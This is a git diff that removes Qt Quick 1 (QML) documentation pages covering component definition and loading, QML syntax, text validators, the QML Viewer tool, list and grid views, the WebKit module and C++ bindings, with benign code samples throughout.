-/*! -\page qmlreusablecomponents.html -\ingroup qml-features -\previouspage {QML Signal and Handler Event System}{Signal and Handler Event System} -\nextpage {QML States}{States} -\contentspage QML Features - -\title Importing Reusable Components - -A \e component is an instantiable QML definition, typically contained in a -\c .qml file. For instance, a Button \e component may be defined in -\c Button.qml. The QML runtime may instantiate this Button component to create -Button \e objects. Alternatively, a component may be defined inside a -\l Component element. - -Moreover, the Button definition may also contain other components. A Button -component could use a Text element for its label and other components to -implement its functions. Compounding components to form new components -(and effectively new interfaces) is the emphasis in QML. - -\keyword qml-define-components -\section1 Defining New Components - -Any snippet of QML code may become a component, by placing the code in a QML -file (extension is \c .qml). A complete Button component that responds to user -input may be in a Button.qml file. -\snippet doc/src/snippets/declarative/reusablecomponents/Button.qml document - -Alternatively, a \l Component element may encapsulate a QML object to form a -component. -\snippet doc/src/snippets/declarative/reusablecomponents/component.qml parent begin -\snippet doc/src/snippets/declarative/reusablecomponents/component.qml define inline component -\snippet doc/src/snippets/declarative/reusablecomponents/component.qml parent end - -\keyword qml-loading-components -\section1 Loading a Component - -The initialization of inline components is different from loading a component -from a \c .qml file. - -\section2 Importing a Component - -A component defined in a \c .qml file is directly usable by declaring the name -of the component. For example, a button defined in \c Button.qml is created by -declaring a \c Button. The button is defined in the -\l {qml-define-components}{Defining New Components} section. -\snippet doc/src/snippets/declarative/reusablecomponents/application.qml document - -Note that the component name, \c Button, matches the QML filename, \c Button.qml. -Also, the first character is in upper case. Matching the names allow -components in the same directory to be in the direct import path of the -application. - -For flexibility, a \c qmldir file is for dictating which additional components, -plugins, or directories should be imported. By using a \c qmldir file, -component names do not need to match the filenames. The \c qmldir file should, -however, be in an imported path. -\snippet doc/src/snippets/declarative/reusablecomponents/qmldir document - -\section2 Loading an Inline Component - -A consequence of inline components is that initialization may be deferred or -delayed. A component may be created during a MouseArea event or by using a -\l Loader element. The component can create an object, which is addressable in a -similar way as an \l {qml-id-property}{id property}. Thus, the created object may -have its bindings set and read like a normal QML object. -\snippet doc/src/snippets/declarative/reusablecomponents/component.qml define inline component -\snippet doc/src/snippets/declarative/reusablecomponents/component.qml create inline component - -\keyword qml-component-properties -\section1 Component Properties - -Initializing a component, either from a .qml file or initializing an inline -component, have several properties to facilitate component execution. -Specifically, there are \l{attached-properties}{attached properties} and -\l{attached-signalhandlers}{attached signal handlers} for setting properties -during the lifetime of a component. - -The \c{Component.onCompleted} attached signal handler is called when the -component completes initialization. It is useful for executing any commands -after component initialization. Similarly, the \c{Component.onDestruction} -signal handler executes when the component finishes destruction. - -\keyword qml-top-level -\section1 Top-Level Component - -Choosing the \e{top-level} or the \e{root} object of components is an important -design aspect because the top-level object dictates which properties are -accessible outside the component. Some elements are not visual elements and -will not have visual properties exposed outside the component. Likewise, some -elements add functionality that are not available to visual elements. - -Consider the Button component from the -\l{qml-define-components}{Defining New Components} section; it's top-level -object is a \l Rectangle. When imported, the Button component will possess the -Rectangle's properties, methods, signals, and any custom properties. - -\snippet doc/src/snippets/declarative/reusablecomponents/Button.qml parent begin -\snippet doc/src/snippets/declarative/reusablecomponents/Button.qml ellipses -\snippet doc/src/snippets/declarative/reusablecomponents/Button.qml properties -\snippet doc/src/snippets/declarative/reusablecomponents/Button.qml ellipses -\snippet doc/src/snippets/declarative/reusablecomponents/Button.qml parent end - -The Button's \c text alias is accessible from outside the component as well as -the Rectangle's visual properties and signals such as \c x, \c y, \c anchors, -and \c states. - -Alternatively, we may choose a \l {Keyboard Focus in Qt Quick 1}{FocusScope} as our -top-level object. The \l FocusScope element manage keyboard focus for its -children which is beneficial for certain types of interfaces. However, since -\c FocusScopes are not visual elements, the visual properties of its child need -to be exposed. - -\snippet doc/src/snippets/declarative/reusablecomponents/focusbutton.qml document -*/ - diff --git a/doc/src/declarative/qmlruntime.qdoc b/doc/src/declarative/qmlruntime.qdoc deleted file mode 100644 index 562f8402..00000000 --- a/doc/src/declarative/qmlruntime.qdoc +++ /dev/null @@ -1,144 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Digia Plc and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/legal -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:FDL$ -** Commercial License Usage -** Licensees holding valid commercial Qt licenses may use this file in -** accordance with the commercial license agreement provided with the -** Software or, alternatively, in accordance with the terms contained in -** a written agreement between you and Digia. For licensing terms and -** conditions see http://qt.digia.com/licensing. For further information -** use the contact form at http://qt.digia.com/contact-us. -** -** GNU Free Documentation License Usage -** Alternatively, this file may be used under the terms of the GNU Free -** Documentation License version 1.3 as published by the Free Software -** Foundation and appearing in the file included in the packaging of -** this file. Please review the following information to ensure -** the GNU Free Documentation License version 1.3 requirements -** will be met: http://www.gnu.org/copyleft/fdl.html. -** $QT_END_LICENSE$ -** -****************************************************************************/ - -/*! -\page qmlruntime.html -\title Qt Declarative UI Runtime - -QML documents are loaded and executed by the QML runtime. This includes the -Declarative UI engine along with the built-in QML elements and plugin modules, -and it also provides access to third-party QML elements and modules. - -Applications that use QML need to invoke the QML runtime in order to -execute QML documents. This can be done by creating a QDeclarativeView -or a QDeclarativeEngine, as described below. In addition, the Declarative UI -package includes the \QQV tool, which loads \c .qml files. This tool is -useful for developing and testing QML code without the need to write -a C++ application to load the QML runtime. - - - -\section1 Deploying QML-based applications - -To deploy an application that uses QML, the QML runtime must be invoked by -the application. This is done by writing a Qt C++ application that loads the -QDeclarativeEngine by either: - -\list -\li Loading the QML file through a QDeclarativeView instance, or -\li Creating a QDeclarativeEngine instance and loading QML files with QDeclarativeComponent -\endlist - - -\section2 Deploying with QDeclarativeView - -QDeclarativeView is a QWidget-based class that is able to load QML files. -For example, if there is a QML file, \c application.qml, like this: - -\qml - import QtQuick 1.0 - - Rectangle { width: 100; height: 100; color: "red" } -\endqml - -It can be loaded in a Qt application's \c main.cpp file like this: - -\code - #include <QApplication> - #include <QDeclarativeView> - - int main(int argc, char *argv[]) - { - QApplication app(argc, argv); - - QDeclarativeView view; - view.setSource(QUrl::fromLocalFile("application.qml")); - view.show(); - - return app.exec(); - } -\endcode - -This creates a QWidget-based view that displays the contents of -\c application.qml. - -The application's \c .pro \l{qmake Project Files}{project file} must specify -the \c declarative module for the \c QT variable. For example: - -\code - TEMPLATE += app - QT += gui declarative - SOURCES += main.cpp -\endcode - - -\section2 Creating a QDeclarativeEngine directly - -If \c application.qml does not have any graphical components, or if it is -preferred to avoid QDeclarativeView for other reasons, the QDeclarativeEngine -can be constructed directly instead. In this case, \c application.qml is -loaded as a QDeclarativeComponent instance rather than placed into a view: - -\code - #include <QApplication> - #include <QDeclarativeEngine> - #include <QDeclarativeContext> - #include <QDeclarativeComponent> - - int main(int argc, char *argv[]) - { - QApplication app(argc, argv); - - QDeclarativeEngine engine; - QDeclarativeContext *objectContext = new QDeclarativeContext(engine.rootContext()); - - QDeclarativeComponent component(&engine, "application.qml"); - QObject *object = component.create(objectContext); - - // ... delete object and objectContext when necessary - - return app.exec(); - } -\endcode - -See \l {Using QML Bindings in C++ Applications} for more information about using -QDeclarativeEngine, QDeclarativeContext and QDeclarativeComponent, as well -as details on including QML files through \l{The Qt Resource System}{Qt's Resource system}. - - - -\section1 Developing and prototyping with QML Viewer - -The Declarative UI package includes a QML runtime tool, the \QQV, which loads -and displays QML documents. This is useful during the application development -phase for prototyping QML-based applications without writing your own C++ -applications to invoke the QML runtime. - -See the \l{QML Viewer} documentation for more details. - -*/ - diff --git a/doc/src/declarative/qmlsyntax.qdoc b/doc/src/declarative/qmlsyntax.qdoc deleted file mode 100644 index fa88c84f..00000000 --- a/doc/src/declarative/qmlsyntax.qdoc +++ /dev/null @@ -1,155 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Digia Plc and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/legal -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:FDL$ -** Commercial License Usage -** Licensees holding valid commercial Qt licenses may use this file in -** accordance with the commercial license agreement provided with the -** Software or, alternatively, in accordance with the terms contained in -** a written agreement between you and Digia. For licensing terms and -** conditions see http://qt.digia.com/licensing. For further information -** use the contact form at http://qt.digia.com/contact-us. -** -** GNU Free Documentation License Usage -** Alternatively, this file may be used under the terms of the GNU Free -** Documentation License version 1.3 as published by the Free Software -** Foundation and appearing in the file included in the packaging of -** this file. Please review the following information to ensure -** the GNU Free Documentation License version 1.3 requirements -** will be met: http://www.gnu.org/copyleft/fdl.html. -** $QT_END_LICENSE$ -** -****************************************************************************/ - -/*! -\page qmlsyntax.html -\title QML Syntax -\ingroup QML Reference -\contentspage QML Reference - -\tableofcontents - -QML is a declarative language designed to describe the user interface of a -program: both what it looks like, and how it behaves. In QML, a user -interface is specified as a tree of objects with properties. - -JavaScript is used as a scripting language in QML, so you may want -to learn a bit more about it (\l{Javascript Guide}) before diving -deeper into QML. - -\section1 Basic QML Syntax - -QML looks like this: - -\code -import QtQuick 1.0 - -Rectangle { - width: 200 - height: 200 - color: "blue" - - Image { - source: "pics/logo.png" - anchors.centerIn: parent - } -} -\endcode - -Objects are specified by their type, followed by a pair of braces. Object -types always begin with a capital letter. In the above example, there are -two objects, a \l Rectangle, and an \l Image. Between the braces, we can specify -information about the object, such as its properties. - -Properties are specified as \c {propertyname: value}. In the above example, we -can see the Image has a property named \c source, which has been assigned the -value \c "pics/logo.png". The property and its value are separated by a colon. - -Properties can be specified one-per-line: - -\code -Rectangle { - width: 100 - height: 100 -} -\endcode - -or you can put multiple properties on a single line: - -\code -Rectangle { width: 100; height: 100 } -\endcode - -When multiple property/value pairs are specified on a single line, they -must be separated by a semicolon. - -The \c import statement imports the \c Qt \l{QML Modules}{module}, which contains all of the -standard \l {QML Elements}. Without this import statement, the \l Rectangle -and \l Image elements would not be available. - -\section1 Expressions - -In addition to assigning values to properties, you can also assign -expressions written in JavaScript. - -\code -Rotation { - angle: 360 * 3 -} -\endcode - -These expressions can include references to other objects and properties, in which case -a \e binding is established: when the value of the expression changes, the property the -expression has been assigned to is automatically updated to that value. - -\code -Item { - Text { - id: text1 - text: "Hello World" - } - Text { - id: text2 - text: text1.text - } -} -\endcode - -In the example above, the \c text2 object will display the same text as \c text1. If \c text1 is changed, -\c text2 is automatically changed to the same value. - -Note that to refer to other objects, we use their \e id values. (See below for more -information on the \e id property.) - -\section1 QML Comments - -Commenting in QML is similar to JavaScript. -\list -\li Single line comments start with // and finish at the end of the line. -\li Multiline comments start with /* and finish with *\/ -\endlist - -\snippet doc/src/snippets/declarative/comments.qml 0 - -Comments are ignored by the engine. They are useful for explaining what you -are doing; for referring back to at a later date, or for others reading -your QML files. - -Comments can also be used to prevent the execution of code, which is -sometimes useful for tracking down problems. - -\code -Text { - text: "Hello world!" - //opacity: 0.5 -} -\endcode - -In the above example, the Text object will have normal opacity, since the -line opacity: 0.5 has been turned into a comment. - -*/ diff --git a/doc/src/declarative/qmltexthandling.qdoc b/doc/src/declarative/qmltexthandling.qdoc deleted file mode 100644 index 74d18e69..00000000 --- a/doc/src/declarative/qmltexthandling.qdoc +++ /dev/null @@ -1,76 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Digia Plc and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/legal -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:FDL$ -** Commercial License Usage -** Licensees holding valid commercial Qt licenses may use this file in -** accordance with the commercial license agreement provided with the -** Software or, alternatively, in accordance with the terms contained in -** a written agreement between you and Digia. For licensing terms and -** conditions see http://qt.digia.com/licensing. For further information -** use the contact form at http://qt.digia.com/contact-us. -** -** GNU Free Documentation License Usage -** Alternatively, this file may be used under the terms of the GNU Free -** Documentation License version 1.3 as published by the Free Software -** Foundation and appearing in the file included in the packaging of -** this file. Please review the following information to ensure -** the GNU Free Documentation License version 1.3 requirements -** will be met: http://www.gnu.org/copyleft/fdl.html. -** $QT_END_LICENSE$ -** -****************************************************************************/ - -/*! -\page texthandling.html -\title QML Text Handling and Validators -\ingroup QML Features -\previouspage {QML Mouse Events}{Mouse Events} -\nextpage {Keyboard Focus in Qt Quick 1}{Keyboard Focus} -\contentspage QML Features - -\tableofcontents - -\section1 Text Elements - -\list -\li \l{Text} -\li \l{TextInput} -\li \l{TextEdit} -\endlist - -\section1 Validators -\list -\li \l{IntValidator} -\li \l{DoubleValidator} -\li \l{RegExpValidator} -\endlist - -\section1 Displaying Text in QML -QML provides several elements to display text onto the screen. The \l Text -element will display formatted text onto the screen, the \l TextEdit element -will place a multiline line edit onto the screen, and the \l TextInput will -place a single editable line field onto the screen. - -To learn more about their specific features and properties, visit their -respective element documentation. - -\section1 Validating Input Text -The \l {Validators}{validator} elements enforce the type and format of -\l TextInput objects. - -\snippet doc/src/snippets/declarative/texthandling.qml int validator -The validator elements bind to \c {TextInput}'s \c validator property. - -\snippet doc/src/snippets/declarative/texthandling.qml regexp validator -The regular expression in the snippet will only allow the inputted text to be -\c {fruit basket}. - -Note that QML parses JavaScript regular expressions, while Qt's -\l {QRegExp} class' regular expressions are based on Perl regular expressions. - -*/ diff --git a/doc/src/declarative/qmlviewer.qdoc b/doc/src/declarative/qmlviewer.qdoc deleted file mode 100644 index ccd86112..00000000 --- a/doc/src/declarative/qmlviewer.qdoc +++ /dev/null @@ -1,237 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Digia Plc and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/legal -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:FDL$ -** Commercial License Usage -** Licensees holding valid commercial Qt licenses may use this file in -** accordance with the commercial license agreement provided with the -** Software or, alternatively, in accordance with the terms contained in -** a written agreement between you and Digia. For licensing terms and -** conditions see http://qt.digia.com/licensing. For further information -** use the contact form at http://qt.digia.com/contact-us. -** -** GNU Free Documentation License Usage -** Alternatively, this file may be used under the terms of the GNU Free -** Documentation License version 1.3 as published by the Free Software -** Foundation and appearing in the file included in the packaging of -** this file. Please review the following information to ensure -** the GNU Free Documentation License version 1.3 requirements -** will be met: http://www.gnu.org/copyleft/fdl.html. -** $QT_END_LICENSE$ -** -****************************************************************************/ - -/*! - -\page qmlviewer.html -\title QML Viewer -\ingroup qttools - -The Declarative UI package includes \QQV, a tool for loading QML documents that -makes it easy to quickly develop and debug QML applications. It invokes the QML -runtime to load QML documents and also includes additional features useful for -the development of QML-based applications. - -The QML Viewer is a tool for testing and developing QML applications. It is -\e not intended for use in a production environment and should not be used for the -deployment of QML applications. In those cases, the QML runtime should be invoked -from a Qt application instead; see \l {Qt Declarative UI Runtime} for more -information. - -The viewer is located at \c QTDIR/bin/qmlviewer. To load a \c .qml file -with the viewer, run the viewer and select the file to be opened, or provide the -file path on the command line: - -\code - qmlviewer myqmlfile.qml -\endcode - -On Mac OS X, the QML Viewer application is named "QMLViewer" instead. You -can launch the viewer by opening the QMLViewer application from the Finder, or -from the command line: - -\code - QMLViewer.app/Contents/MacOS/QMLViewer myqmlfile.qml -\endcode - -The QML Viewer has a number of configuration options involving features such as -fullscreen display, module import path configurations, video recording of QML -animations, and OpenGL support. - -To see the configuration options, run \c qmlviewer with the \c -help argument. - - -\section1 Adding module import paths - -Additional module import paths can be provided using the \c -I flag. -For example, the \l{declarative/cppextensions/plugins}{QML plugins example} creates -a C++ plugin identified as \c com.nokia.TimeExample. Since this has a namespaced -identifier, the viewer has to be run with the \c -I flag from the example's -base directory: - -\code -qmlviewer -I . plugins.qml -\endcode - -This adds the current directory to the import path so that the viewer will -find the plugin in the \c com/nokia/TimeExample directory. - -Note by default, the current directory is included in the import search path, -but namespaced modules like \c com.nokia.TimeExample are not found unless -the path is explicitly added. - - -\section1 Loading translation files - -When the QML Viewer loads a QML file, it installs a translation file from a -"i18n" subdirectory relative to that initial file. This directory should contain -translation files named "qml_<language>.qm", where <language> is a two-letter -ISO 639 language, such as "qml_fr.qm", optionally followed by an underscore and -an uppercase two-letter ISO 3166 country code, such as "qml_fr_FR.qm" or -"qml_fr_CA.qm". - -Such files can be created using \l {Qt Linguist}. - -The actual translation file that is loaded depends on the system locale. -Additionally, the viewer will load any translation files specified on the command -line via the \c -translation option. - -See the \l{declarative/i18n}{QML i18n example} for an example. Also, the -\l{scripting.html#internationalization}{Qt Internationalization} documentation -shows how JavaScript code in QML files can be made to use translatable strings. - - -\section1 Loading placeholder data with QML Viewer - -Often, QML applications are prototyped with fake data that is later replaced -by real data sources from C++ plugins. QML Viewer assists in this aspect by -loading fake data into the application context: it looks for a directory named -"dummydata" in the same directory as the target QML file, and any \c .qml -files in that directory are loaded as QML objects and bound to the root context -as properties named after the files. - -For example, this QML document refers to a \c lottoNumbers property which does -not actually exist within the document: - -\qml -import QtQuick 1.0 - -ListView { - width: 200; height: 300 - model: lottoNumbers - delegate: Text { text: number } -} -\endqml - -If within the document's directory, there is a "dummydata" directory which -contains a \c lottoNumbers.qml file like this: - -\qml -import QtQuick 1.0 - -ListModel { - ListElement { number: 23 } - ListElement { number: 44 } - ListElement { number: 78 } -} -\endqml - -Then this model would be automatically loaded into the ListView in the previous document. - -Child properties are included when loaded from dummy data. The following document -refers to a \c clock.time property: - -\qml -import QtQuick 1.0 -Text { text: clock.time } -\endqml - -The text value could be filled by a \c dummydata/clock.qml file with a \c time -property in the root context: - -\qml -import QtQuick 1.0 -QtObject { property int time: 54321 } -\endqml - -To replace this with real data, you can simply bind the real data object to -the root context in C++ using QDeclarativeContext::setContextProperty(). This -is detailed in \l {Using QML Bindings in C++ Applications}. - -\section1 Using the \c runtime object - -QML applications that are loaded with the QML Viewer have access to a special -\c runtime property on the root context. This property provides additional -information about the application's runtime environment through the following properties: - -\table -\row - -\li \c runtime.isActiveWindow - -\li This property indicates whether the QML Viewer window is the current active -window on the system. It is useful for "pausing" an application, particularly -animations, when the QML Viewer loses focus or moves to the background. - -For example, the following animation is only played when the QML Viewer is -the active window: - -\qml -Rectangle { - width: 200; height: 200 - - ColorAnimation on color { - running: runtime.isActiveWindow - loops: Animation.Infinite - from: "green"; to: "blue"; duration: 2000 - } -} -\endqml - -\note Since Qt Quick 1.1 this information is accessible outside of the QML Viewer, -through the \c active property of the \l {QML:Qt::application}{Qt.application} object. - -\row - -\li \c runtime.orientation - -\li This property indicates the current orientation of the QML Viewer. On the -N900 platform and most S60 5.0-based or newer Symbian devices, this property -automatically updates to reflect the device's actual orientation; on other platforms, -this indicates the orientation currently selected in the QML Viewer's -\e {Settings -> Properties} menu. The \c orientation value can be one of the following: - -\list -\li \c Orientation.Portrait -\li \c Orientation.Landscape -\li \c Orientation.PortraitInverted (Portrait orientation, upside-down) -\li \c Orientation.LandscapeInverted (Landscape orientation, upside-down) -\endlist - -When the viewer's orientation changes, the appearance of the loaded QML document -does not change unless it has been set to respond to changes in -\c runtime.orientation. For example, the following Rectangle changes its -aspect ratio depending on the orientation of the QML Viewer: - -\qml -Rectangle { - id: window - width: 640; height: 480 - - states: State { - name: "landscape" - PropertyChanges { target: window; width: 480; height: 640 } - } - state: (runtime.orientation == Orientation.Landscape - || runtime.orientation == Orientation.LandscapeInverted) ? 'landscape' : '' -} -\endqml - -\endtable - -*/ - diff --git a/doc/src/declarative/qmlviews.qdoc b/doc/src/declarative/qmlviews.qdoc deleted file mode 100644 index f5020e0e..00000000 --- a/doc/src/declarative/qmlviews.qdoc +++ /dev/null @@ -1,114 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Digia Plc and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/legal -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:FDL$ -** Commercial License Usage -** Licensees holding valid commercial Qt licenses may use this file in -** accordance with the commercial license agreement provided with the -** Software or, alternatively, in accordance with the terms contained in -** a written agreement between you and Digia. For licensing terms and -** conditions see http://qt.digia.com/licensing. For further information -** use the contact form at http://qt.digia.com/contact-us. -** -** GNU Free Documentation License Usage -** Alternatively, this file may be used under the terms of the GNU Free -** Documentation License version 1.3 as published by the Free Software -** Foundation and appearing in the file included in the packaging of -** this file. Please review the following information to ensure -** the GNU Free Documentation License version 1.3 requirements -** will be met: http://www.gnu.org/copyleft/fdl.html. -** $QT_END_LICENSE$ -** -****************************************************************************/ - -/*! -\page qml-views.html -\ingroup qml-features -\contentspage QML Features -\previouspage {QML Data Models}{Structuring Data with Models} -\nextpage {Extending QML Functionalities using C++} -\title Presenting Data with Views - -Views are containers for collections of items. They are feature-rich and can be -customizable to meet style or behavior requirements. - -\keyword qml-view-elements -A set of standard views are provided in the basic set of Qt Quick -graphical elements: - -\list -\li \l{ListView} arranges items in a horizontal or vertical list -\li \l{GridView} arranges items in a grid within the available space -\li \l{PathView} arranges items on a path -\li \l{WebView}{WebView} - available from the \l {QtWebKit QML Module}. -\endlist -Unlike other views, \l WebView is not a fully-featured view item, and needs -to be combined with a \l Flickable item to create a view that performs like -a Web browser. - -These elements have properties and behaviors exclusive to each element. Visit -their respective documentation for more information. - -\section1 Models - -Views display \l{qml-data-models}{models} onto the screen. A model could be a simple list of \l{QML Data Models#An Integer}{integer} or a \l{qml-c++-models}{C++ model}. - -To assign a model to a view, bind the view's \c model property to a model. -\snippet doc/src/snippets/declarative/listview.qml model -\snippet doc/src/snippets/declarative/listview.qml view - -For more information, consult the \l {QML Data Models} article. - -\keyword qml-view-delegate -\section1 View Delegates - -Views need a \e delegate to visually represent an item in a list. A view will -visualize each item list according to the template defined by the delegate. -Items in a model are accessible through the \c index property as well as the -item's properties. -\snippet doc/src/snippets/declarative/listview.qml delegate -\image listview-setup.png - -\section1 Decorating Views - -Views allow visual customization through \e decoration properties such as the \c header, \c footer, and \c section properties. By binding an object, usually -another visual object, to these properties, the views are decoratable. A footer -may include a \l Rectangle element showcasing borders or a header that displays -a logo on top of the list. - -Suppose that a specific club wants to decorate its members list with its brand -colors. A member list is in a \c model and the \c delegate will display the -model's content. -\snippet doc/src/snippets/declarative/listview-decorations.qml model -\snippet doc/src/snippets/declarative/listview-decorations.qml delegate - -The club may decorate the members list by binding visual objects to the -\c header and \c footer properties. The visual object may be defined inline, in another file, or in a -\l {Component} element. -\snippet doc/src/snippets/declarative/listview-decorations.qml decorations -\image listview-decorations.png - -\section1 ListView Sections - -\l {ListView} contents may be grouped into \e sections, where related list items -are labeled according to their sections. Further, the sections may be decorated -with \l{qml-view-delegate}{delegates}. - -A list may contain a list indicating people's names and the team on which team -the person belongs. -\snippet doc/src/snippets/declarative/listview-sections.qml model -\snippet doc/src/snippets/declarative/listview-sections.qml delegate - -The ListView element has the \c section -\l{Property Binding#Attached Properties}{attached property} that can combine -adjacent and related elements into a section. The section's \c property -property is for selecting which list element property to use as sections. -The \c criteria can dictate how the section names are displayed and the -\c delegate is similar to the views' \l {qml-view-delegate}{delegate} property. -\snippet doc/src/snippets/declarative/listview-sections.qml section -\image listview-section.png -*/ diff --git a/doc/src/declarative/qmlwebkit.qdoc b/doc/src/declarative/qmlwebkit.qdoc deleted file mode 100644 index a093bb2e..00000000 --- a/doc/src/declarative/qmlwebkit.qdoc +++ /dev/null @@ -1,52 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Digia Plc and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/legal -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:FDL$ -** Commercial License Usage -** Licensees holding valid commercial Qt licenses may use this file in -** accordance with the commercial license agreement provided with the -** Software or, alternatively, in accordance with the terms contained in -** a written agreement between you and Digia. For licensing terms and -** conditions see http://qt.digia.com/licensing. For further information -** use the contact form at http://qt.digia.com/contact-us. -** -** GNU Free Documentation License Usage -** Alternatively, this file may be used under the terms of the GNU Free -** Documentation License version 1.3 as published by the Free Software -** Foundation and appearing in the file included in the packaging of -** this file. Please review the following information to ensure -** the GNU Free Documentation License version 1.3 requirements -** will be met: http://www.gnu.org/copyleft/fdl.html. -** $QT_END_LICENSE$ -** -****************************************************************************/ - -/*! -\page qmlwebkit.html - -\title QtWebKit QML Module - -Qt WebKit QML - -\section1 WebKit QML Elements -\list -\li \l WebView -\endlist - -\section1 QtWebKit Module -The QtWebKit Module has a QML element, \l{WebView} for displaying web content -from a \c URL. - -Import the QtWebKit module before declaring a \c WebView element: -\snippet doc/src/snippets/declarative/webview/webview.qml import - -\section1 Simple Usage -\snippet doc/src/snippets/declarative/webview/webview.qml document -\image webview.png - -\sa {Models and Views: WebView Example}{WebView Example}, {QML Web Browser} -*/ diff --git a/doc/src/declarative/qtbinding.qdoc b/doc/src/declarative/qtbinding.qdoc deleted file mode 100644 index 2c80aa8c..00000000 --- a/doc/src/declarative/qtbinding.qdoc +++ /dev/null @@ -1,669 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Digia Plc and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/legal -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:FDL$ -** Commercial License Usage -** Licensees holding valid commercial Qt licenses may use this file in -** accordance with the commercial license agreement provided with the -** Software or, alternatively, in accordance with the terms contained in -** a written agreement between you and Digia. For licensing terms and -** conditions see http://qt.digia.com/licensing. For further information -** use the contact form at http://qt.digia.com/contact-us. -** -** GNU Free Documentation License Usage -** Alternatively, this file may be used under the terms of the GNU Free -** Documentation License version 1.3 as published by the Free Software -** Foundation and appearing in the file included in the packaging of -** this file. Please review the following information to ensure -** the GNU Free Documentation License version 1.3 requirements -** will be met: http://www.gnu.org/copyleft/fdl.html. -** $QT_END_LICENSE$ -** -****************************************************************************/ - -/*! -\page qtbinding.html -\ingroup qml-features -\previouspage {Extending QML Functionalities using C++} -\nextpage {Integrating QML Code with Existing Qt UI Code} -\contentspage QML Features -\title Using QML Bindings in C++ Applications - -QML is designed to be easily extensible to and from C++. The classes in the -Qt Declarative module allow QML components to be loaded and manipulated from C++, and through -Qt's \l{The Meta-Object System}{meta-object system}, QML and C++ objects can easily -communicate through Qt signals and slots. In addition, QML plugins can be written to create -reusable QML components for distribution. - -You may want to mix QML and C++ for a number of reasons. For example: - -\list -\li To use functionality defined in a C++ source (for example, when using a C++ Qt-based data model, or -calling functions in a third-party C++ library) -\li To access functionality in the Qt Declarative module (for example, to dynamically generate -images using QDeclarativeImageProvider) -\li To write your own QML elements (whether for your applications, or for distribution to others) -\endlist - -To use the Qt Declarative module, you must include and link to the module appropriately, as shown on -the \l {QtDeclarative}{module index page}. The \l {Qt Declarative UI Runtime} documentation -shows how to build a basic C++ application that uses this module. - - -\section1 Core module classes - -The Qt Declarative module provides a set of C++ APIs for extending your QML applications from C++ and -embedding QML into C++ applications. There are several core classes in the Qt Declarative module -that provide the essential capabilities for doing this. These are: - -\list -\li QDeclarativeEngine: A QML engine provides the environment for executing QML code. Every -application requires at least one engine instance. -\li QDeclarativeComponent: A component encapsulates a \l{QML Documents}{QML document}. -\li QDeclarativeContext: A context allows an application to expose data to the QML components -created by an engine. -\endlist - -A QDeclarativeEngine allows the configuration of global settings that apply to all of its QML -component instances: for example, the QNetworkAccessManager to be used for network communications, -and the file path to be used for persistent storage. - -QDeclarativeComponent is used to load QML documents. Each QDeclarativeComponent instance represents -a single document. A component can be created from the URL or file path of a QML document, or the raw -QML code of the document. Component instances are instatiated through the -QDeclarativeComponent::create() method, like this: - -\code -QDeclarativeEngine engine; -QDeclarativeComponent component(&engine, QUrl::fromLocalFile("MyRectangle.qml")); -QObject *rectangleInstance = component.create(); - -// ... -delete rectangleInstance; -\endcode - -QML documents can also be loaded using QDeclarativeView. This class provides a convenient -QWidget-based view for embedding QML components into QGraphicsView-based applications. (For other -methods of integrating QML into QWidget-based applications, see \l {Integrating QML Code with existing Qt -UI code}.) - - -\section1 Approaches to using QML with C++ - -There are a number of ways to extend your QML application through C++. For example, you could: - -\list -\li Load a QML component and manipulate it (or its children) from C++ -\li Embed a C++ object and its properties directly into a QML component (for example, to make a -particular C++ object callable from QML, or to replace a dummy list model with a real data set) -\li Define new QML elements (through QObject-based C++ classes) and create them directly from your -QML code -\endlist - -These methods are shown below. Naturally these approaches are not exclusive; you can mix any of -these methods throughout your application as appropriate. - - -\section2 Loading QML Components from C++ - -A QML document can be loaded with QDeclarativeComponent or QDeclarativeView. QDeclarativeComponent -loads a QML component as a C++ object; QDeclarativeView also does this, -but additionally loads the QML component directly into a QGraphicsView. It is convenient for loading -a displayable QML component into a QWidget-based application. - -For example, suppose there is a \c MyItem.qml file that looks like this: - -\snippet doc/src/snippets/declarative/qtbinding/loading/MyItem.qml start -\snippet doc/src/snippets/declarative/qtbinding/loading/MyItem.qml end - -This QML document can be loaded with QDeclarativeComponent or QDeclarativeView with the following -C++ code. Using a QDeclarativeComponent requires calling QDeclarativeComponent::create() to create -a new instance of the component, while a QDeclarativeView automatically creates an instance of the -component, which is accessible via QDeclarativeView::rootObject(): - -\table -\row -\li -\snippet doc/src/snippets/declarative/qtbinding/loading/main.cpp QDeclarativeComponent-a -\dots 0 -\snippet doc/src/snippets/declarative/qtbinding/loading/main.cpp QDeclarativeComponent-b -\li -\snippet doc/src/snippets/declarative/qtbinding/loading/main.cpp QDeclarativeView -\endtable - -This \c object is the instance of the \c MyItem.qml component that has been created. You can now -modify the item's properties using QObject::setProperty() or QDeclarativeProperty: - -\snippet doc/src/snippets/declarative/qtbinding/loading/main.cpp properties - -Alternatively, you can cast the object to its actual type and call functions with compile-time -safety. In this case the base object of \c MyItem.qml is an \l Item, which is defined by the -QDeclarativeItem class: - -\snippet doc/src/snippets/declarative/qtbinding/loading/main.cpp cast - -You can also connect to any signals or call functions defined in the component using -QMetaObject::invokeMethod() and QObject::connect(). See \l {Exchanging data between QML and C++} -below for further details. - -\section3 Locating child objects - -QML 